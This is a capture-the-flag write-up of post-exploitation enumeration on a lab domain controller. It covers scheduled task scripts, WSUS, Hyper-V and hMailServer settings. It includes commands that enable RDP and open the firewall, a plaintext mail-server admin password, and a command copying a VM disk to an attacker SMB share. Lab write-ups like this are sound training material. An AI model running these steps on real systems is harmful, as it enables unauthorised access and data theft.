Beyond
This is the beyond page that an additional post enumeration and assessment are conducted as SYSTEM after compromising the target domain.
ps c:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.
ps c:\Windows\system32>
ps c:\Windows\system32> netsh firewall add portopening TCP 3389 "Remote Desktop"
netsh firewall add portopening TCP 3389 "Remote Desktop"
important: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
Ok.
Enabling RDP
Scheduled Tasks
PS C:\Windows\system32> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*" } | ft TaskName,TaskPath,State
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*" } | ft TaskName,TaskPath,State
TaskName TaskPath State
-------- -------- -----
CreateExplorerShellUnelevatedTask \ Ready
hMail_Cleanup \ Ready
Install Updates \ Running
Route metric fix \ Ready
User_Feed_Synchronization-{529E6ECB-0479-4D21-BD0A-EECF130F26D7} \ Ready
wsus group cleanup \ Ready
hMail_Cleanup
Install updates
Route metric fix
wsus group cleanup
hMail_Cleanup
ps c:\Windows\system32> cmd /c schtasks /QUERY /TN \hMail_Cleanup /V /FO LIST
folder: \
hostname: DC
taskname: \hMail_Cleanup
next run time: 1/5/2024 11:48:15 PM
status: Ready
logon mode: Interactive/Background
last run time: 1/5/2024 11:47:15 PM
last result: 0
author: OUTDATED\Administrator
task to run: powershell.exe -exec bypass -windowstyle hidden -file C:\Users\Administrator\Documents\hmail_cleanup.ps1
start in: N/A
comment: N/A
scheduled task state: Enabled
idle time: Disabled
power management: Stop On Battery Mode
run as user: SYSTEM
delete task if not rescheduled: Disabled
stop task if runs x hours and x mins: 72:00:00
schedule: Scheduling data is not available in this format.
schedule type: One Time Only, Minute
start time: 8:47:15 PM
start date: 6/15/2022
end date: N/A
days: N/A
months: N/A
repeat: Every: 0 Hour(s), 1 Minute(s)
repeat: Until: Time: None
repeat: Until: Duration: Disabled
repeat: Stop If Still Running: Disabled
every minute c:\Users\Administrator\Documents\hmail_cleanup.ps1
c:\Users\Administrator\Documents\hmail_cleanup.ps1
PS C:\Windows\system32> cat C:\Users\Administrator\Documents\hmail_cleanup.ps1
<#
.SYNOPSIS
Prune Messages
.DESCRIPTION
Delete messages in specified folders older than N days
.FUNCTIONALITY
Looks for folder name match at any folder level and if found, deletes all messages older than N days within that folder and all subfolders within
Deletes empty subfolders within matching folders if DeleteEmptySubFolders set to True in config
.PARAMETER
.NOTES
Folder name matching occurs at any level folder
Empty folders are assumed to be trash if they're located in this script
Only empty folders found in levels BELOW matching level will be deleted
.EXAMPLE
#>
<### USER VARIABLES ###>
$hMSAdminPass = "HePLBjuLz95u68Fw8fTdd2EB" # hMailServer Admin password
$DoDelete = $True # FOR TESTING - set to false to run and report results without deleting messages and folders
$PruneSubFolders = $True # True will prune all folders in levels below name matching folders
$DeleteEmptySubFolders = $True # True will delete empty subfolders below the matching level unless a subfolder within contains messages
$MinutesBeforeDelete = 2 # Number of days to keep messages in pruned folders
$PruneFolders = "INBOX" # Names of IMAP folders you want to cleanup - uses regex
$Error.Clear()
Set-Variable -Name TotalDeletedMessages -Value 0 -Option AllScope
Set-Variable -Name TotalDeletedFolders -Value 0 -Option AllScope
Set-Variable -Name FolderHasMessages -Value 0 -Option AllScope
Function Debug ($DebugOutput) {Write-Host $DebugOutput}
Function ElapsedTime ($EndTime) {
$TimeSpan = New-Timespan $EndTime
If (([int]($TimeSpan).Hours) -eq 0) {$Hours = ""} ElseIf (([int]($TimeSpan).Hours) -eq 1) {$Hours = "1 hour "} Else {$Hours = "$([int]($TimeSpan).Hours) hours "}
If (([int]($TimeSpan).Minutes) -eq 0) {$Minutes = ""} ElseIf (([int]($TimeSpan).Minutes) -eq 1) {$Minutes = "1 minute "} Else {$Minutes = "$([int]($TimeSpan).Minutes) minutes "}
If (([int]($TimeSpan).Seconds) -eq 1) {$Seconds = "1 second"} Else {$Seconds = "$([int]($TimeSpan).Seconds) seconds"}
If (($TimeSpan).TotalSeconds -lt 1) {
$Return = "less than 1 second"
} Else {
$Return = "$Hours$Minutes$Seconds"
}
Return $Return
}
Function GetSubFolders ($Folder) {
$IterateFolder = 0
$ArrayDeletedFolders = @()
If ($Folder.SubFolders.Count -gt 0) {
Do {
$SubFolder = $Folder.SubFolders.Item($IterateFolder)
$SubFolderName = $SubFolder.Name
$SubFolderID = $SubFolder.ID
If ($SubFolder.Subfolders.Count -gt 0) {GetSubFolders $SubFolder}
If ($SubFolder.Messages.Count -gt 0) {
If ($PruneSubFolders) {GetMessages $SubFolder}
} Else {
If ($DeleteEmptySubFolders) {$ArrayDeletedFolders += $SubFolderID}
}
$IterateFolder++
} Until ($IterateFolder -eq $Folder.SubFolders.Count)
}
If ($DeleteEmptySubFolders) {
$ArrayDeletedFolders | ForEach {
$ASFName = $Folder.SubFolders.ItemByDBID($_).Name
If (SubFoldersEmpty $Subfolder) {
Try {
If ($DoDelete) {$Folder.SubFolders.DeleteByDBID($_)}
$TotalDeletedFolders++
Debug "Deleted empty subfolder $ASFName in $AccountAddress"
}
Catch {
Debug "[ERROR] Deleting empty subfolder $ASFName in $AccountAddress"
Debug "[ERROR] : $Error"
}
$Error.Clear()
}
}
}
$ArrayDeletedFolders.Clear()
$FolderHasMessages = 0
}
Function SubFoldersEmpty ($Folder) {
$IterateFolder = 0
$Return = $True
If ($Folder.SubFolders.Count -gt 0) {
Do {
$SubFolder = $Folder.SubFolders.Item($IterateFolder)
If ($SubFolder.Messages.Count -gt 0) {
Return $False
Break
} Else {
SubFoldersEmpty $SubFolder
}
$IterateFolder++
} Until ($IterateFolder -eq $Folder.SubFolders.Count)
}
Return $Return
}
Function GetMatchFolders ($Folder) {
$IterateFolder = 0
If ($Folder.SubFolders.Count -gt 0) {
Do {
$SubFolder = $Folder.SubFolders.Item($IterateFolder)
$SubFolderName = $SubFolder.Name
If ($SubFolderName -match [regex]$PruneFolders) {
GetSubFolders $SubFolder
GetMessages $SubFolder
} Else {
GetMatchFolders $SubFolder
}
$IterateFolder++
} Until ($IterateFolder -eq $Folder.SubFolders.Count)
}
}
Function GetMessages ($Folder) {
$IterateMessage = 0
$ArrayDeletedMessages = @()
$DeletedMessages = 0
If ($Folder.Messages.Count -gt 0) {
Do {
$Message = $Folder.Messages.Item($IterateMessage)
If ($Message.InternalDate -lt ((Get-Date).AddMinutes(-$MinutesBeforeDelete))) {
$ArrayDeletedMessages += $Message.ID
$ArrayCountDeletedMessages += $Message.ID
}
$IterateMessage++
} Until ($IterateMessage -eq $Folder.Messages.Count)
}
$ArrayDeletedMessages | ForEach {
$AFolderName = $Folder.Name
Try {
If ($DoDelete) {$Folder.Messages.DeleteByDBID($_)}
$DeletedMessages++
$TotalDeletedMessages++
}
Catch {
Debug "[ERROR] Deleting messages from folder $AFolderName in $AccountAddress"
Debug "[ERROR] $Error"
}
$Error.Clear()
}
If ($DeletedMessages -gt 0) {
Debug "Deleted $DeletedMessages messages from $AFolderName in $AccountAddress"
}
$ArrayDeletedMessages.Clear()
}
Function DeleteOldMessages {
$BeginDeletingOldMessages = Get-Date
Debug "----------------------------"
Debug "Begin deleting messages older than $MinutesBeforeDelete minutes"
<# Authenticate hMailServer COM #>
$hMS = New-Object -COMObject hMailServer.Application
$hMS.Authenticate("Administrator", $hMSAdminPass) | Out-Null
$EnumDomain = 0
Do {
$hMSDomain = $hMS.Domains.Item($EnumDomain)
If ($hMSDomain.Active) {
$EnumAccount = 0
Do {
$hMSAccount = $hMSDomain.Accounts.Item($EnumAccount)
If ($hMSAccount.Active) {
$AccountAddress = $hMSAccount.Address
$EnumFolder = 0
If ($hMSAccount.IMAPFolders.Count -gt 0) {
Do {
$hMSIMAPFolder = $hMSAccount.IMAPFolders.Item($EnumFolder)
If ($hMSIMAPFolder.Name -match [regex]$PruneFolders) {
If ($hMSIMAPFolder.SubFolders.Count -gt 0) {
GetSubFolders $hMSIMAPFolder
} # IF SUBFOLDER COUNT > 0
GetMessages $hMSIMAPFolder
} # IF FOLDERNAME MATCH REGEX
Else {GetMatchFolders $hMSIMAPFolder}
$EnumFolder++
} Until ($EnumFolder -eq $hMSAccount.IMAPFolders.Count)
} # IF IMAPFOLDER COUNT > 0
} #IF ACCOUNT ACTIVE
$EnumAccount++
} Until ($EnumAccount -eq $hMSDomain.Accounts.Count)
} # IF DOMAIN ACTIVE
$EnumDomain++
} Until ($EnumDomain -eq $hMS.Domains.Count)
If ($TotalDeletedMessages -gt 0) {
Debug "[OK] Finished deleting $TotalDeletedMessages messages in $(ElapsedTime $BeginDeletingOldMessages)"
} Else {
Debug "[OK] No messages older than $MinutesBeforeDelete minutes to delete"
}
If ($TotalDeletedFolders -gt 0) {
Debug "[OK] Deleted $TotalDeletedFolders empty subfolders"
}
} # END FUNCTION
DeleteOldMessages
This appears rather well structured for a simple PowerShell script.
I looked it up online, and found the same PS script on the hMailserver forum
Install update
ps c:\Windows\system32> cmd /c schtasks /QUERY /TN "\Install updates" /V /FO LIST
folder: \
hostname: DC
taskname: \Install updates
next run time: N/A
status: Running
logon mode: Interactive/Background
last run time: 1/5/2024 11:51:23 PM
last result: -2147020576
author: OUTDATED\Administrator
task to run: powershell.exe -ep bypass -file c:\users\administrator\documents\install_updates.ps1
start in: N/A
comment: N/A
scheduled task state: Enabled
idle time: Disabled
power management: Stop On Battery Mode
run as user: SYSTEM
delete task if not rescheduled: Disabled
stop task if runs x hours and x mins: Disabled
schedule: Scheduling data is not available in this format.
schedule type: At system start up
start time: N/A
start date: N/A
end date: N/A
days: N/A
months: N/A
repeat: Every: N/A
repeat: Until: Time: N/A
repeat: Until: Duration: N/A
repeat: Stop If Still Running: N/A
every minute
c:\users\administrator\documents\install_updates.ps1
c:\users\administrator\documents\install_updates.ps1
PS C:\Windows\system32> cat c:\users\administrator\documents\install_updates.ps1
function get_updates(){
refresh_updates
$pending = get-wsusupdate -classification all -approval approved
refresh_updates
return $pending
}
function refresh_updates(){
wuauclt /resetauthorization /reportnow
(New-Object -ComObject Microsoft.Update.AutoUpdate).DetectNow()
wuauclt /detectnow
}
function install_updates($pending){
foreach ($updateId in $pending.UpdateId){
$status = Get-WindowsUpdate -updateid $updateId -Download -Install -Confirm:$false
if ($status | where-object Result -eq "Installed") {
Remove-WindowsUpdate -UpdateID $updateId -Confirm:$false
Get-WsusUpdate -UpdateId $updateId | Deny-WsusUpdate
}
}
refresh_updates
}
#lazy way to try and speed it up
$interval = 0
while ($interval -le 3) {
$pending = get_updates
install_updates($pending)
sleep(10);
$interval += 1
}
WSUS
Route metric fix
ps c:\Windows\system32> cmd /c schtasks /QUERY /TN "\Route metric fix" /V /FO LIST
cmd /c schtasks /QUERY /TN "\Route metric fix" /V /FO LIST
folder: \
hostname: DC
taskname: \Route metric fix
next run time: N/A
status: Ready
logon mode: Interactive/Background
last run time: 1/5/2024 11:53:38 PM
last result: 0
author: OUTDATED\Administrator
task to run: powershell.exe -ep bypass -file c:\users\administrator\documents\metrics.ps1
start in: N/A
comment: N/A
scheduled task state: Enabled
idle time: Disabled
power management: Stop On Battery Mode, No Start On Batteries
run as user: OUTDATED\Administrator
delete task if not rescheduled: Disabled
stop task if runs x hours and x mins: 72:00:00
schedule: Scheduling data is not available in this format.
schedule type: At system start up
start time: N/A
start date: N/A
end date: N/A
days: N/A
months: N/A
repeat: Every: N/A
repeat: Until: Time: N/A
repeat: Until: Duration: N/A
repeat: Stop If Still Running: N/A
every minute
c:\users\administrator\documents\metrics.ps1
c:\users\administrator\documents\metrics.ps1
PS C:\Windows\system32> cat c:\users\administrator\documents\metrics.ps1
$host_nic = (Get-NetIPInterface | Where-Object -FilterScript { $_.InterfaceAlias -match "^Ethernet"}).ifIndex
$guest_nic = (Get-NetIPInterface | Where-Object -FilterScript { $_.InterfaceAlias -match "^vEthernet"}).ifIndex
if ((Get-NetIPInterface -InterfaceIndex $host_nic).InterfaceMetric -ne 10) {
write-host "Setting interface metric on $host_nic"
Set-NetIPInterface -interfaceindex $host_nic -InterfaceMetric 10
}
if ((Get-NetIPInterface -InterfaceIndex $guest_nic).InterfaceMetric -ne 120) {
write-host "Setting interface metric on $guest_nic"
Set-NetIPInterface -interfaceindex $guest_nic -InterfaceMetric 120
}
wsus group cleanup
ps c:\Windows\system32> cmd /c schtasks /QUERY /TN "\wsus group cleanup" /V /FO LIST
folder: \
hostname: DC
taskname: \wsus group cleanup
next run time: 1/6/2024 12:21:47 AM
status: Ready
logon mode: Interactive/Background
last run time: 1/5/2024 11:51:47 PM
last result: 0
author: OUTDATED\Administrator
task to run: powershell.exe -ep bypass -file c:\users\administrator\documents\wsus_group_cleanup.ps1
start in: N/A
comment: N/A
scheduled task state: Enabled
idle time: Disabled
power management: Stop On Battery Mode
run as user: SYSTEM
delete task if not rescheduled: Disabled
stop task if runs x hours and x mins: 72:00:00
schedule: Scheduling data is not available in this format.
schedule type: One Time Only, Minute
start time: 6:51:47 PM
start date: 6/16/2022
end date: N/A
days: N/A
months: N/A
repeat: Every: 0 Hour(s), 30 Minute(s)
repeat: Until: Time: None
repeat: Until: Duration: Disabled
repeat: Stop If Still Running: Disabled
every 30 minutes c:\users\administrator\documents\wsus_group_cleanup.ps1
c:\users\administrator\documents\wsus_group_cleanup.ps1
PS C:\Windows\system32> cat c:\users\administrator\documents\wsus_group_cleanup.ps1
[reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration") | Out-Null
$WSUS = [Microsoft.UpdateServices.Administration.AdminProxy]::getUpdateServer('wsus.outdated.htb',$False,8530)
$Groups = $WSUS.GetComputerTargetGroups() | select -Property "Name"
foreach ($group in $Groups){
if (-not($group.Name -eq 'All Computers' -or $group.Name -eq 'Unassigned Computers')){
$x = $WSUS.GetComputerTargetGroups() | Where { $_.Name -eq $group.Name }
$x.Delete()
}
}
Servers
ADCS
Issued certificates from Shadow Credentials
DNS
Web
8530
and 8531
for WSUS
PS C:\Windows\system32> dir C:\inetpub\wwwroot
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/15/2022 7:33 AM aspnet_client
-a---- 6/15/2022 7:24 AM 703 iisstart.htm
-a---- 6/15/2022 7:24 AM 99710 iisstart.png
and nothing on the 80
, which is firewalled as well
SMB
Shares
WsusContent
WSUSTemp
WSUS Server
There is one of the “Critical Update“‘s that was pushed, but failed
Hyper-V
Hyper-V Manager
For the DC host, there is the
Client
guest VM running
Connecting…
Using the password of the
btables
user
There appears to be a PowerShell running. It seems to be the
C:\Users\btables\mail_cleanup.ps1
file that I found earlier
However, there is a bunch of error messages loading due to failed execution
There appears to be nothing going on.
This VM must be literally used as a “client” machine for mimicking the user behavior
Office Suite is installed for the “Follina” vulnerability
Vdisk at
C:\Users\Public\Documents\Hyper-V\Virtual Hard Disks
Config only at
C:\ProgramData\Microsoft\Windows\Hyper-V
PS C:\Users\Public\Documents\Hyper-V\Virtual hard disks> ls
Directory: C:\Users\Public\Documents\Hyper-V\Virtual hard disks
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/6/2024 12:55 AM 12855541760 Client.vhdx
The virtual hard disk is located at C:\Users\Public\Documents\Hyper-V\Virtual hard disks\Client.vhdx
PS C:\Users\Public\Documents\Hyper-V\Virtual hard disks> copy .\Client.vhdx \\10.10.14.23\smb\
Downloading
hMailServer
Using the password found in the script
Configured for
OUTDATED.HTB
Accounts
Interestingly,
btables@outdated.htb
is the only enabled account
btables@outdated.htb
Nothing seems configured
Just pure mailing account
itsupport@outdated.htb
itsupport@outdated.htb
is under “Distribution lists”
So it’s not a valid mailing account, but like a proxy that gets distributed for others to process?
Aha
my guess was right.
and
btables@outdated.htb
is assigned to it
This is how btables@outdated.htb
was able to receive and mails sent to itsupport@outdated.htb
Rules
There are 2 rules apparently
extension_blacklist
The
extension_blacklist
rule
If email body contains those values, the email gets halted from processing and deleted
incoming_mail
This rule seems to handle inbound mails
Protocols
SMTP and IMAP servers are enabled
SMTP
While the configuration for SMTP seems rather barebone, it does declare the hostname;
mail.outdated.htb
IMAP
It has
#Public
folder configured.
This must be where all the inbound mails are routed to
Spam Filter
Config for the Spam filter seems default
Logging
Disabled
Auto-ban
It’s enabled
This may explain why exploiting follina was so unreliable
IP Ranges
Server messages
There are a few interesting automated messages sent out by the server if any issue were to occur
TLS / Networks
While SSL/TLS is enabled, it’s not used
SMTP over TLS is enabled on the port
587
, but doesn’t seem to be used